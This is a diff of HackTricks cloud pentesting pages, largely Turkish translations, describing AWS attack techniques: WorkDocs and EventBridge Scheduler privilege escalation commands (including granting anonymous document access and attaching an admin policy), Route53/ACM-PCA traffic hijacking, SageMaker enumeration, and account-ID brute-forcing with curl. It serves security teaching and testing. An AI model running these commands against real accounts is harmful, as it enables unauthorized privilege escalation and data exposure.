b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,25 +1,25 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs -WorkDocs hakkında daha fazla bilgi için kontrol edin: +WorkDocs hakkında daha fazla bilgi için bakın: {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -Belirtilen Dizinde bir kullanıcı oluşturun, ardından hem WorkDocs'a hem de AD'ye erişiminiz olacak: +Belirtilen Directory içinde bir kullanıcı oluşturun; böylece hem WorkDocs hem de AD'ye erişiminiz olur: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -Dosyalar hassas bilgiler içerebilir, bunları okuyun: +Dosyalar hassas bilgi içerebilir, bunları okuyun: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -Eğer bir şeye erişiminiz yoksa, onu sadece verebilirsiniz. +Eğer bir şeyi okumaya erişiminiz yoksa, ona erişim verebilirsiniz. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -Bir kullanıcıyı ZOCALO_ADMIN grubuna ekleyerek yönetici yapabilirsiniz.\ -Bunun için [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) adresindeki talimatları izleyin. +Bir kullanıcıyı ZOCALO_ADMIN grubuna ekleyerek admin yapabilirsiniz.\ +Bunun için şu talimatları izleyin: [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -O kullanıcıyla workdocs'a giriş yapın ve `/workdocs/index.html#/admin` adresindeki yönetici paneline erişin. +O kullanıcıyla workdoc'a giriş yapın ve admin paneline `/workdocs/index.html#/admin` üzerinden erişin. Bunu cli üzerinden yapmanın bir yolunu bulamadım. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index 13aa13a13..89e2fbb48 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler EventBridge Scheduler hakkında daha fazla bilgi için: {{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -Bu izinlere sahip bir saldırgan, **`oluştur`|`güncelle` bir zamanlayıcı ve ona bağlı zamanlayıcı rolünün izinlerini kötüye kullanarak herhangi bir eylemi gerçekleştirme** yeteneğine sahip olacaktır. +Bu izinlere sahip bir saldırgan, **`create`|`update` yaparak bir scheduler oluşturabilir/güncelleyebilir ve ona bağlı scheduler rolünün izinlerini suistimal ederek herhangi bir işlem gerçekleştirebilir**. -Örneğin, zamanlamayı **bir Lambda fonksiyonunu çağıracak şekilde** yapılandırabilirler ki bu bir şablon eylemidir: +Örneğin, takvimi **invoke a Lambda function** olacak şekilde yapılandırabilirler; bu şablonlanmış bir eylemdir: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -Şablonlu hizmet eylemlerine ek olarak, EventBridge Scheduler'da birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırmak üzere **evrensel hedefler** kullanabilirsiniz. Evrensel hedefler, neredeyse her API'yi çağırma esnekliği sunar. Bir örnek, "**AdminAccessPolicy**" eklemek için "**putRolePolicy**" politikasına sahip bir rol kullanmaktır: +Şablonlanmış servis eylemlerine ek olarak, EventBridge Scheduler içinde **universal targets** kullanarak birçok AWS hizmeti için geniş bir API işlemleri yelpazesini çağırabilirsiniz. Universal targets neredeyse herhangi bir API'yi çağırma esnekliği sağlar. Bir örnek, **universal targets** kullanarak **AdminAccessPolicy** eklemek olabilir; **putRolePolicy** politikasına sahip bir rol kullanarak: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -42,4 +42,4 @@ aws scheduler create-schedule \ - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index 5ddea033b..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Route53 hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> Bu saldırıyı gerçekleştirmek için hedef hesapta zaten bir [**AWS Sertifika Yöneticisi Özel Sertifika Otoritesi**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** kurulmuş olmalıdır ve VPC'deki EC2 örnekleri sertifikaları güvenilir hale getirmek için içe aktarmış olmalıdır. Bu altyapı mevcut olduğunda, AWS API trafiğini kesmek için aşağıdaki saldırı gerçekleştirilebilir. - -Diğer izinler **enumeration** kısmı için önerilir ancak zorunlu değildir: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -Birden fazla bulut yerel uygulamanın birbirleriyle ve AWS API ile iletişim kurduğu bir AWS VPC'sinin olduğunu varsayalım. Mikro hizmetler arasındaki iletişim genellikle TLS ile şifreli olduğundan, bu hizmetler için geçerli sertifikaları vermek üzere bir özel CA'ya ihtiyaç vardır. **Eğer ACM-PCA kullanılıyorsa** ve düşman **route53 ve acm-pca özel CA'sını kontrol etme erişimine** minimum izin seti ile sahip olursa, **AWS API'ye yapılan uygulama çağrılarını ele geçirebilir** ve IAM izinlerini devralabilir. - -Bu mümkündür çünkü: - -- AWS SDK'ları [Sertifika Pinleme](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) özelliğine sahip değildir -- Route53, AWS API'lerinin alan adları için Özel Barındırılan Alan ve DNS kayıtları oluşturulmasına izin verir -- ACM-PCA'daki Özel CA, yalnızca belirli Ortak İsimler için sertifika imzalamakla kısıtlanamaz - -**Olası Etki:** Trafikteki hassas bilgileri keserek dolaylı privesc. - -#### Exploitation - -Sömürü adımlarını orijinal araştırmada bulabilirsiniz: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..9beb7395c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +For more information about Route53 check: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> Bu saldırıyı gerçekleştirmek için hedef hesapta zaten bir [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** kurulmuş olmalı ve VPC(ler)deki EC2 instance'ları bu CA'yı güvenilir kabul edecek şekilde sertifikaları içe aktarmış olmalıdır. Bu altyapı mevcutsa, aşağıdaki saldırı AWS API trafiğini ele geçirmek için gerçekleştirilebilir. + +Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +Varsayalım ki birbirleriyle ve AWS API ile iletişim kuran birden fazla cloud-native uygulamanın bulunduğu bir AWS VPC'si var. Mikroservisler arasındaki iletişim genellikle TLS ile şifrelendiği için bu servisler için geçerli sertifikalar düzenleyecek bir özel CA olmalıdır. **If ACM-PCA is used** için bu amaçla kullanılıyorsa ve saldırgan yukarıda belirtilen minimum izinlerle **hem route53 hem de acm-pca özel CA'yı kontrol etme erişimi** elde ederse, uygulamaların AWS API çağrılarını ele geçirerek onların IAM izinlerini devralabilir. + +This is possible because: + +- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names +- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names + +**Potential Impact:** Trafikteki hassas bilgileri ele geçirerek dolaylı privesc. + +#### Exploitation + +Sömürme adımlarını orijinal araştırmada bulun: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md rename to src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md index 9b59c09ee..562d1da4c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -1,10 +1,10 @@ # AWS - DocumentDB Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DocumentDB -Amazon DocumentDB, MongoDB ile uyumluluk sunarak, **hızlı, güvenilir ve tamamen yönetilen bir veritabanı hizmeti** olarak sunulmaktadır. Dağıtım, işletim ve ölçeklenme açısından basitlik için tasarlanmış olan bu hizmet, **MongoDB uyumlu veritabanlarının bulutta sorunsuz bir şekilde taşınmasını ve işletilmesini** sağlar. Kullanıcılar, mevcut uygulama kodlarını çalıştırmak ve tanıdık sürücüleri ve araçları kullanmak için bu hizmetten yararlanabilir, böylece MongoDB ile çalışmaya benzer bir geçiş ve işletim süreci sağlanır. +Amazon DocumentDB, MongoDB ile uyumluluk sunan, **hızlı, güvenilir ve tamamen yönetilen bir veritabanı servisi** olarak sunulur. Dağıtım, işletme ve ölçeklendirme süreçlerini basit tutmak üzere tasarlanmıştır; bu sayede **MongoDB-uyumlu veritabanlarının bulutta sorunsuz şekilde taşınması ve çalıştırılmasına** olanak tanır. Kullanıcılar mevcut uygulama kodlarını çalıştırmak ve aşina oldukları sürücüleri ve araçları kullanmak için bu servisi kullanabilir; bu da MongoDB ile çalışmaya benzer sorunsuz bir geçiş ve işletim sağlar. ### Enumeration ```bash @@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute ``` ### NoSQL Injection -DocumentDB, MongoDB uyumlu bir veritabanı olduğundan, yaygın NoSQL enjeksiyon saldırılarına karşı da savunmasız olduğunu düşünebilirsiniz: +DocumentDB, MongoDB ile uyumlu bir veritabanı olduğu için, yaygın NoSQL injection saldırılarına da açık olduğunu düşünebilirsiniz: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html @@ -30,11 +30,11 @@ https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html ### DocumentDB {{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md {{#endref}} -## References +## Referanslar - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..e307f3a37 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,200 @@ +# AWS - SageMaker Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Service Overview + +Amazon SageMaker, notebook'ları, eğitim altyapısını, orkestrasyonu, kayıt defterlerini ve yönetilen endpoint'leri bir araya getiren AWS'in yönetilen makine öğrenimi platformudur. SageMaker kaynaklarının ele geçirilmesi tipik olarak şunları sağlar: + +- Uzun ömürlü IAM execution roles ile geniş S3, ECR, Secrets Manager veya KMS erişimi. +- S3, EFS veya feature store'lar içinde saklanan hassas veri setlerine erişim. +- VPC'ler içinde ağ foothold'ları (Studio apps, training jobs, endpoints). +- Konsol kimlik doğrulamasını atlayan yüksek ayrıcalıklı presigned URLs. + +SageMaker'in nasıl kurulduğunu anlamak, pivot, persist veya exfiltrate data yapmadan önce kritik öneme sahiptir. + +## Core Building Blocks + +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Her domain paylaşılan bir EFS dosya sistemi ve varsayılan execution role'a sahiptir. +- **Notebook Instances**: Standalone notebook'lar için yönetilen EC2 instance'ları; ayrı execution role'lar kullanır. +- **Training / Processing / Transform Jobs**: Kodları ECR'den ve verileri S3'ten çeken geçici container'lar. +- **Pipelines & Experiments**: Tüm adımları, girdileri ve çıktıları tanımlayan orkestre edilmiş workflow'lar. +- **Models & Endpoints**: Inference için HTTPS endpoint'leri üzerinden dağıtılan paketlenmiş artefaktlar. +- **Feature Store & Data Wrangler**: Veri hazırlama ve feature yönetimi için yönetilen servisler. +- **Autopilot & JumpStart**: Otomatikleştirilmiş ML ve küratörlü model kataloğu. +- **MLflow Tracking Servers**: Presigned access token'lı yönetilen MLflow UI/API. + +Every resource references an execution role, S3 locations, container images, and optional VPC/KMS configuration—capture all of them during enumeration. + +## Hesap ve Global Metadata +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +Herhangi bir hesaplar arası güven (execution roles veya S3 buckets with external principals) ve service control policies veya SCPs gibi temel kısıtlamaları not edin. + +## Studio Alanları, Uygulamalar & Paylaşılan Alanlar +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +Kaydedilecekler: + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- Bağlı EFS (`HomeEfsFileSystemId`) ve S3 home dizinleri. +- Lifecycle scripts (çoğunlukla bootstrap kimlik bilgileri veya ekstra kod push/pull içerir). + +> [!TIP] +> Presigned Studio URLs geniş yetki verilirse kimlik doğrulamayı atlayabilir. + +## Notebook Instances & Lifecycle Configs +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Notebook meta verisi ortaya çıkarır: + +- Çalıştırma rolü (`RoleArn`), doğrudan internet erişimi veya yalnızca VPC modu. +- `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess` içindeki S3 konumları. +- Kimlik bilgileri veya kalıcılık (persistence) kancaları için yaşam döngüsü (lifecycle) script'leri. + +## Eğitim, İşleme, Dönüştürme ve Batch İşleri +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – hangi ECR imajlarının dağıtıldığını. +- `InputDataConfig` & `OutputDataConfig` – S3 bucket'ları, prefix'ler ve KMS anahtarları. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – ağ veya şifreleme duruşunu belirler. +- `HyperParameters` ortam sırlarını veya bağlantı dizelerini leak edebilir. + +## Pipelines, Experiments & Trials +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +Pipeline tanımları her adımı, ilişkili rolleri, container image'ları ve ortam değişkenlerini detaylandırır. Trial bileşenleri genellikle eğitim artefakt URI'leri, S3 log'ları ve hassas veri akışına işaret eden metrikler içerir. + +## Modeller, Endpoint Yapılandırmaları ve Yayındaki Endpoint'ler +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +Odak alanları: + +- Model artefakt S3 URI'leri (`PrimaryContainer.ModelDataUrl`) ve çıkarım konteyner görüntüleri. +- Endpoint veri yakalama yapılandırması (S3 bucket, KMS) — olası log exfil için. +- Çoklu model endpoint'leri `S3DataSource` veya `ModelPackage` kullanıyorsa (hesaplar arası paketleme için kontrol edin). +- Endpoint'lere bağlı ağ yapılandırmaları ve security group'lar. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region $REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +Güvenlik çıkarımları: + +- Online feature stores, verileri Kinesis'e çoğaltır; `OnlineStoreConfig.SecurityConfig.KmsKeyId` ve VPC yapılandırmasını kontrol edin. +- Data Wrangler flows genellikle JDBC/Redshift kimlik bilgilerini veya private endpoint'leri gömülü olarak tutar. +- Clarify/Model Monitor job'ları verileri S3'e export eder; bu veriler dünya tarafından okunabilir veya cross-account erişime açık olabilir. + +## MLflow Tracking Servers, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- MLflow tracking sunucuları deneyleri ve artefaktları saklar; presigned URLs her şeyi açığa çıkarabilir. +- Autopilot işleri birden fazla training job başlatır — gizli veriler için çıktılarını inceleyin. +- JumpStart reference architectures, hesaba ayrıcalıklı roller deploy edebilir. + +## IAM & Networking Considerations + +- Tüm execution rollere (Studio, notebooks, training jobs, pipelines, endpoints) bağlı IAM policy'lerini listeleyin. +- Ağ bağlamlarını kontrol edin: subnets, security groups, VPC endpoints. Birçok organizasyon training jobs'ı izole eder ama outbound trafiği kısıtlamayı unutur. +- S3 bucket policy'lerini `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` içinde referans verilenler için dış erişim açısından gözden geçirin. + +## Privilege Escalation + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Persistence + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Post-Exploitation + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Unauthorized Access + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## References + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md deleted file mode 100644 index 41b1599af..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - Hesaplar Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Hesap Kimlikleri - -Eğer bir hedefiniz varsa, hedefle ilgili hesapların hesap kimliklerini tanımlamaya çalışmanın yolları vardır. - -### Kaba Kuvvet - -Potansiyel hesap kimlikleri ve takma adların bir listesini oluşturur ve bunları kontrol edersiniz. -```bash -# Check if an account ID exists -curl -v https://.signin.aws.amazon.com -## If response is 404 it doesn't, if 200, it exists -## It also works from account aliases -curl -v https://vodafone-uk2.signin.aws.amazon.com -``` -Bu süreci [bu araçla otomatikleştirebilirsiniz](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). - -### OSINT - -**Kuruluşla ilgili bir alias** içeren `.signin.aws.amazon.com` url'lerini arayın. - -### Marketplace - -Bir satıcının **marketplace'de instance'ları varsa,** kullandığı AWS hesabının sahip kimliğini (hesap kimliği) alabilirsiniz. - -### Snapshots - -- Kamuya açık EBS snapshot'ları (EC2 -> Snapshots -> Public Snapshots) -- RDS kamuya açık snapshot'ları (RDS -> Snapshots -> All Public Snapshots) -- Kamuya açık AMI'ler (EC2 -> AMIs -> Public images) - -### Errors - -Birçok AWS hata mesajı (erişim reddedildi bile olsa) bu bilgiyi verecektir. - -## References - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md new file mode 100644 index 000000000..a392bf49e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Hesaplar Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Hesap ID'leri + +Eğer bir hedefiniz varsa, hedefle ilişkili hesapların hesap ID'lerini belirlemeye çalışmanın yolları vardır. + +### Brute-Force + +Olası hesap ID'leri ve takma adlardan oluşan bir liste oluşturup bunları kontrol edersiniz. +```bash +# Check if an account ID exists +curl -v https://.signin.aws.amazon.com +## If response is 404 it doesn't, if 200, it exists +## It also works from account aliases +curl -v https://vodafone-uk2.signin.aws.amazon.com +``` +You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). + +### OSINT + +Kuruluşla ilişkili bir **alias** içeren `.signin.aws.amazon.com` adreslerini arayın. + +### Marketplace + +Bir vendorun **marketplace'te instances** varsa, kullandığı AWS hesabının owner id (account id) bilgisine ulaşabilirsiniz. + +### Snapshots + +- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) +- Public AMIs (EC2 -> AMIs -> Public images) + +### Errors + +Birçok AWS hata mesajı (hatta access denied) bu bilgiyi verir. + +## References + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index 95983705d..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway Yetkisiz Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### API Çağrısı atlatma - -[Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) konuşmasına göre, Lambda Authorizers, API uç noktalarını çağırmak için izin vermek üzere **IAM sözdizimi** kullanılarak yapılandırılabilir. Bu, [**belgelerden alınmıştır**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -Bu yöntemle uç noktaları çağırmak için izin vermenin sorunu, **"\*"nın "her şey" anlamına gelmesidir** ve **daha fazla regex sözdizimi desteklenmemektedir**. - -Bazı örnekler: - -- Her kullanıcıya `/dashboard/user/{username}` erişimi vermek için `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` gibi bir kural, onlara örneğin `/admin/dashboard/createAdmin` gibi diğer rotalara erişim verecektir. - -> [!WARNING] -> **"\*" kesmelerle genişlemeyi durdurmaz**, bu nedenle, örneğin api-id'de "\*" kullanırsanız, bu "herhangi bir aşama" veya "herhangi bir yöntem" anlamına da gelebilir, son regex geçerli olduğu sürece.\ -> Bu nedenle `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Örneğin `/prod/GET/dashboard/admin` yoluna test aşamasında bir post isteğini doğrulayabilir. - -Her zaman neye erişim izni vermek istediğinizi net bir şekilde belirlemeli ve ardından verilen izinlerle başka senaryoların mümkün olup olmadığını kontrol etmelisiniz. - -Daha fazla bilgi için, [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) dışında, [**bu resmi aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints) üzerinde yetkilendiricileri uygulamak için kod bulabilirsiniz. - -### IAM Politika Enjeksiyonu - -Aynı [**konuşmada**](https://www.youtube.com/watch?v=bsPKk7WDOnE), eğer kod **kullanıcı girdisini** **IAM politikalarını oluşturmak için** kullanıyorsa, joker karakterler (ve "." veya belirli dizeler gibi diğerleri) 